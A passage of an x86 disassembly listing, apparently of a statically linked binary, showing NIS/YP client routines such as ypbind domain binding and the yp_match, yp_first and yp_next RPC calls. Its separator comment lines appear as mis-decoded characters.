XREF: sub_805CE84+2DFj push offset aYpbindproc_dom ; "YPBINDPROC_DOMAIN: Internal error\n" jmp short loc_805D19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D178: ; CODE XREF: sub_805CE84+2D8j mov edi, [ebp+arg_0] push edi push offset aYpbindproc_d_0 ; "YPBINDPROC_DOMAIN: No bound server for "... push offset unk_80787A4 call fprintf add esp, 0Ch jmp short loc_805D1AA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D190: ; CODE XREF: sub_805CE84+2E7j push offset aYpbindproc_d_1 ; "YPBINDPROC_DOMAIN: Resource allocation "... jmp short loc_805D19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D198: ; CODE XREF: sub_805CE84+2E1j ; sub_805CE84+2E9j push offset aYpbindproc_d_2 ; "YPBINDPROC_DOMAIN: Unknown error\n" loc_805D19D: ; CODE XREF: sub_805CE84+2F1j ; sub_805CE84+311j push offset unk_80787A4 call fprintf add esp, 8 loc_805D1AA: ; CODE XREF: sub_805CE84+30Aj cmp [ebp+var_44C], 0 jz short loc_805D1B9 push esi call free loc_805D1B9: ; CODE XREF: sub_805CE84+32Dj mov eax, 3 jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D1C4: ; CODE XREF: sub_805CE84+2D0j push 10h lea edx, [esi+108h] push edx call sub_806626C mov word ptr [esi+108h], 2 mov dx, [ebp+var_4] mov [esi+10Ah], dx mov edx, [ebp+var_8] mov [esi+10Ch], edx mov dx, [ebp+var_4] mov [esi+118h], dx add esp, 8 loc_805D1FD: ; CODE XREF: sub_805CE84+1F9j mov dword ptr [esi+128h], 2 mov edi, [ebp+arg_0] push edi lea edx, [esi+4] push edx call strcpy add esp, 8 loc_805D217: ; CODE XREF: sub_805CE84+20Aj mov edx, ds:dword_8069030 shr edx, 1Fh add edx, ds:dword_8069030 sar edx, 1 mov [ebp+var_448], edx mov [ebp+var_444], 0 cmp dword ptr [esi+120h], 0 jz short loc_805D254 mov edx, [esi+120h] mov ecx, [edx+4] push edx mov edx, [ecx+10h] call edx add esp, 4 loc_805D254: ; CODE XREF: sub_805CE84+3BCj mov dword ptr [esi+11Ch], 0FFFFFFFFh lea edx, [esi+11Ch] push edx push [ebp+var_444] push [ebp+var_448] push 2 push 186A4h lea edx, [esi+108h] push edx call sub_8064400 mov [esi+120h], eax add esp, 18h test eax, eax jnz short loc_805D2A0 mov dword ptr [esi+128h], 0FFFFFFFFh jmp loc_805CF96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D2A0: ; CODE XREF: sub_805CE84+40Bj push 1 push 2 mov edx, [esi+11Ch] push edx call fcntl add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_805D2C2 push offset aFcntlF_setfd ; "fcntl: F_SETFD" call sub_80625DC loc_805D2C2: ; CODE XREF: sub_805CE84+432j cmp [ebp+var_44C], 0 jz short loc_805D2D9 mov edx, ds:dword_807EB94 mov [esi], edx mov ds:dword_807EB94, esi loc_805D2D9: ; CODE XREF: sub_805CE84+445j cmp [ebp+arg_4], 0 jz short loc_805D2E4 mov edi, [ebp+arg_4] mov [edi], esi loc_805D2E4: ; CODE XREF: sub_805CE84+459j xor eax, eax loc_805D2E6: ; CODE XREF: sub_805CE84+AAj ; sub_805CE84+2BBj ... lea esp, [ebp+var_45C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CE84 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D2F4 proc near ; CODE XREF: sub_805D3A8+17Ep ; sub_805D3A8+23Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+120h] mov edx, [eax+4] push eax mov eax, [edx+10h] call eax mov dword ptr [ebx+120h], 0 mov dword ptr [ebx+11Ch], 0FFFFFFFFh mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805D2F4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D328 proc near ; CODE XREF: sub_805E0A8+4Ap arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push 0 push eax call sub_805CE84 mov esp, ebp pop ebp retn sub_805D328 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D33C proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] xor esi, esi mov ebx, ds:dword_807EB94 test ebx, ebx jz short loc_805D39C db 8Dh,76h,0 ; lea esi, [esi+0] loc_805D354: ; CODE XREF: sub_805D33C+5Ej lea eax, [ebx+4] push eax push edi call sub_8057ADC add esp, 8 test eax, eax jnz short loc_805D394 mov eax, [ebx+120h] mov edx, [eax+4] push eax mov eax, [edx+10h] call eax add esp, 4 test esi, esi jz short loc_805D384 mov eax, [ebx] mov [esi], eax jmp short loc_805D38B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D384: ; CODE XREF: sub_805D33C+3Dj mov eax, [ebx] mov ds:dword_807EB94, eax loc_805D38B: ; CODE XREF: sub_805D33C+43j push ebx call free jmp short loc_805D39C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D394: ; CODE XREF: sub_805D33C+27j mov esi, ebx mov ebx, [ebx] test ebx, ebx jnz short loc_805D354 loc_805D39C: ; CODE XREF: sub_805D33C+13j ; sub_805D33C+55j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D33C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D3A8 proc near ; CODE XREF: _getnishost+53p var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov [ebp+var_24], 0 cmp [ebp+arg_0], 0 jz short loc_805D3E8 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D3E8 cmp [ebp+arg_4], 0 jz short loc_805D3E8 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jz short loc_805D3E8 cmp [ebp+arg_8], 0 jz short loc_805D3E8 cmp [ebp+arg_C], 0 jz short loc_805D3E8 mov esi, [ebp+arg_8] cmp byte ptr [esi], 0 jnz short loc_805D3F4 loc_805D3E8: ; CODE XREF: sub_805D3A8+14j ; sub_805D3A8+1Cj ... mov eax, 1 jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D3F4: ; CODE XREF: sub_805D3A8+3Ej mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 loc_805D406: ; CODE XREF: sub_805D3A8+192j lea edx, [ebp+var_20] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 mov ebx, eax add esp, 8 test ebx, ebx jnz loc_805D5EE mov esi, [ebp+arg_0] push esi push offset byte_807E358 call sub_8057ADC add esp, 8 test eax, eax jnz short loc_805D4A0 lea edx, [ebp+var_4] push edx lea edx, [ebp+var_8] push edx mov esi, [ebp+arg_C] push esi mov esi, [ebp+arg_8] push esi mov esi, [ebp+arg_4] push esi call sub_805CDF0 add esp, 14h test eax, eax jz short loc_805D4A0 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 xor eax, eax jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D4A0: ; CODE XREF: sub_805D3A8+8Bj ; sub_805D3A8+ABj mov esi, ds:dword_8069030 mov [ebp+var_2C], esi mov [ebp+var_28], 0 mov esi, [ebp+arg_0] mov [ebp+var_1C], esi mov esi, [ebp+arg_4] mov [ebp+var_18], esi mov esi, [ebp+arg_8] mov [ebp+var_14], esi mov esi, [ebp+arg_C] mov [ebp+var_10], esi push 0Ch lea ebx, [ebp+var_C] push ebx call sub_806626C mov edx, [ebp+var_20] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_28] push [ebp+var_2C] push ebx push offset sub_80665A0 lea edx, [ebp+var_1C] push edx push offset sub_8066514 push 3 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D54C push offset aYp_matchClnt_c ; "yp_match: clnt_call" mov edx, [ebp+var_20] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_20] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_24] inc [ebp+var_24] cmp ds:dword_8069034, edx jg loc_805D406 mov eax, 2 jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D54C: ; CODE XREF: sub_805D3A8+15Aj mov edx, [ebp+var_C] push edx call sub_805DFE0 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805D5D5 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov esi, [ebp+arg_0] push esi push offset byte_807E358 call sub_8057ADC add esp, 18h test eax, eax jnz short loc_805D5D5 mov esi, [ebp+arg_14] mov edx, [esi] push edx mov esi, [ebp+arg_10] mov edx, [esi] push edx mov esi, [ebp+arg_C] push esi mov esi, [ebp+arg_8] push esi mov esi, [ebp+arg_4] push esi call sub_805CCB0 add esp, 14h loc_805D5D5: ; CODE XREF: sub_805D3A8+1B4j ; sub_805D3A8+20Bj lea edx, [ebp+var_C] push edx push offset sub_80665A0 call sub_8064E74 mov edx, [ebp+var_20] push edx call sub_805D2F4 mov eax, ebx loc_805D5EE: ; CODE XREF: sub_805D3A8+45j ; sub_805D3A8+72j ... lea esp, [ebp+var_38] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D3A8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D5F8 proc near ; CODE XREF: _getnishost+1Dp ; sub_805E0A8+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov dword ptr [ebx], 0 cmp ds:byte_807E358, 0 jnz short loc_805D628 push 40h push offset byte_807E358 call sub_8065C84 test eax, eax jz short loc_805D628 mov eax, 0Ch jmp short loc_805D630 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D628: ; CODE XREF: sub_805D5F8+14j ; sub_805D5F8+24j mov dword ptr [ebx], offset byte_807E358 xor eax, eax loc_805D630: ; CODE XREF: sub_805D5F8+2Bj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805D5F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D638 proc near ; CODE XREF: _getnishost+82p var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov [ebp+var_24], 0 mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_8] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 mov esi, [ebp+arg_C] mov dword ptr [esi], 0 cmp [ebp+arg_0], 0 jz short loc_805D688 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D688 cmp [ebp+arg_4], 0 jz short loc_805D688 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jnz short loc_805D694 loc_805D688: ; CODE XREF: sub_805D638+38j ; sub_805D638+40j ... mov eax, 1 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D694: ; CODE XREF: sub_805D638+4Ej ; sub_805D638+10Aj lea edx, [ebp+var_18] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 add esp, 8 test eax, eax jz short loc_805D6B4 mov eax, 3 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D6B4: ; CODE XREF: sub_805D638+6Ej mov esi, ds:dword_8069030 mov [ebp+var_2C], esi mov [ebp+var_28], 0 mov esi, [ebp+arg_0] mov [ebp+var_20], esi mov esi, [ebp+arg_4] mov [ebp+var_1C], esi push 14h lea ebx, [ebp+var_14] push ebx call sub_806626C mov edx, [ebp+var_18] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_28] push [ebp+var_2C] push ebx push offset sub_80665DC lea edx, [ebp+var_20] push edx push offset sub_8066564 push 4 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D754 push offset aYp_firstClnt_c ; "yp_first: clnt_call" mov edx, [ebp+var_18] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_18] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_24] inc [ebp+var_24] cmp ds:dword_8069034, edx jg loc_805D694 mov eax, 2 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D754: ; CODE XREF: sub_805D638+D2j mov edx, [ebp+var_14] push edx call sub_805DFE0 mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805D7F1 mov edx, [ebp+var_C] mov esi, [ebp+arg_C] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_8] mov [esi], eax mov esi, [ebp+arg_C] mov edx, [esi] push edx push eax mov edx, [ebp+var_10] push edx call bcopy mov esi, [ebp+arg_8] mov ecx, [esi] mov esi, [ebp+arg_C] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_8] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 add esp, 20h loc_805D7F1: ; CODE XREF: sub_805D638+12Cj lea edx, [ebp+var_14] push edx push offset sub_80665DC call sub_8064E74 mov edx, [ebp+var_18] push edx call sub_805D2F4 mov eax, ebx loc_805D80A: ; CODE XREF: sub_805D638+55j ; sub_805D638+75j ... lea esp, [ebp+var_38] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D638 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805D814 proc near ; CODE XREF: _getnishost+C1p var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 34h push edi push esi push ebx mov [ebp+var_2C], 0 cmp [ebp+arg_0], 0 jz short loc_805D854 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D854 cmp [ebp+arg_4], 0 jz short loc_805D854 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jz short loc_805D854 cmp [ebp+arg_8], 0 jz short loc_805D854 cmp [ebp+arg_C], 0 jz short loc_805D854 mov esi, [ebp+arg_8] cmp byte ptr [esi], 0 jnz short loc_805D860 loc_805D854: ; CODE XREF: sub_805D814+14j ; sub_805D814+1Cj ... mov eax, 1 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D860: ; CODE XREF: sub_805D814+3Ej mov esi, [ebp+arg_18] mov dword ptr [esi], 0 mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_1C] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 loc_805D884: ; CODE XREF: sub_805D814+12Aj lea edx, [ebp+var_28] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 add esp, 8 test eax, eax jz short loc_805D8A4 mov eax, 3 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D8A4: ; CODE XREF: sub_805D814+82j mov esi, ds:dword_8069030 mov [ebp+var_34], esi mov [ebp+var_30], 0 mov esi, [ebp+arg_0] mov [ebp+var_24], esi mov esi, [ebp+arg_4] mov [ebp+var_20], esi mov esi, [ebp+arg_8] mov [ebp+var_1C], esi mov esi, [ebp+arg_C] mov [ebp+var_18], esi push 14h lea ebx, [ebp+var_14] push ebx call sub_806626C mov edx, [ebp+var_28] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_30] push [ebp+var_34] push ebx push offset sub_80665DC lea edx, [ebp+var_24] push edx push offset sub_8066514 push 5 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D950 push offset aYp_nextClnt_ca ; "yp_next: clnt_call" mov edx, [ebp+var_28] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_28] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_2C] inc [ebp+var_2C] cmp ds:dword_8069034, edx jg loc_805D884 mov eax, 2 jmp loc_805DA06 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D950: ; CODE XREF: sub_805D814+F2j mov edx, [ebp+var_14] push edx call sub_805DFE0 mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805D9ED mov edx, [ebp+var_C] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_10] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov edx, [ebp+var_4] mov esi, [ebp+arg_1C] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_18] mov [esi], eax mov esi, [ebp+arg_1C] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_18] mov ecx, [esi] mov esi, [ebp+arg_1C] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_18] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 add esp, 20h loc_805D9ED: ; CODE XREF: sub_805D814+14Cj lea edx, [ebp+var_14] push edx push offset sub_80665DC call sub_8064E74 mov edx, [ebp+var_28] push edx call sub_805D2F4 mov eax, ebx loc_805DA06: ; CODE XREF: sub_805D814+45j ; sub_805D814+89j ... lea esp, [ebp+var_40] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D814 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DA10 proc near var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_805DA33 cmp byte ptr [ebx], 0 jz short loc_805DA33 cmp [ebp+arg_4], 0 jz short loc_805DA33 mov edi, [ebp+arg_4] cmp byte ptr [edi], 0 jnz short loc_805DA40 loc_805DA33: ; CODE XREF: sub_805DA10+Ej ; sub_805DA10+13j ... mov eax, 1 jmp loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DA40: ; CODE XREF: sub_805DA10+21j lea edx, [ebp+var_14] push edx push ebx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DA5C mov eax, 3 jmp loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DA5C: ; CODE XREF: sub_805DA10+3Fj mov edi, ds:dword_8069030 mov [ebp+var_2C], edi mov [ebp+var_28], 0 mov [ebp+var_18], 0FFFFFFFFh mov ecx, [ebp+var_14] mov edx, [ecx+108h] mov [ebp+var_10], edx mov edx, [ecx+10Ch] mov [ebp+var_C], edx mov edx, [ecx+110h] mov [ebp+var_8], edx mov edx, [ecx+114h] mov [ebp+var_4], edx mov word ptr [ebp+var_10+2], 0 push 0 push 0 lea edx, [ebp+var_18] push edx push 2 push 186A4h lea edx, [ebp+var_10] push edx call sub_8063B04 mov esi, eax add esp, 18h test esi, esi jnz short loc_805DAD4 push offset aClnttcp_create ; "clnttcp_create failed\n" call sub_80625DC mov eax, 9 jmp short loc_805DB49 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DAD4: ; CODE XREF: sub_805DA10+AFj mov [ebp+var_20], ebx mov edi, [ebp+arg_4] mov [ebp+var_1C], edi mov edi, [ebp+arg_8] mov edx, [edi] mov ds:dword_807EB90, edx mov edx, [edi+4] mov ds:dword_807EB8C, edx mov ecx, [esi+4] push [ebp+var_28] push [ebp+var_2C] lea ebx, [ebp+var_24] push ebx push offset sub_80668AC lea edx, [ebp+var_20] push edx push offset sub_8066564 push 8 push esi mov edx, [ecx] call edx add esp, 20h mov edx, [esi+4] push esi mov edx, [edx+10h] call edx push ebx push offset sub_80668AC call sub_8064E74 mov edx, [ebp+var_14] push edx call sub_805D2F4 add esp, 10h cmp [ebp+var_24], 0 jnz short loc_805DB40 xor eax, eax jmp short loc_805DB49 ; 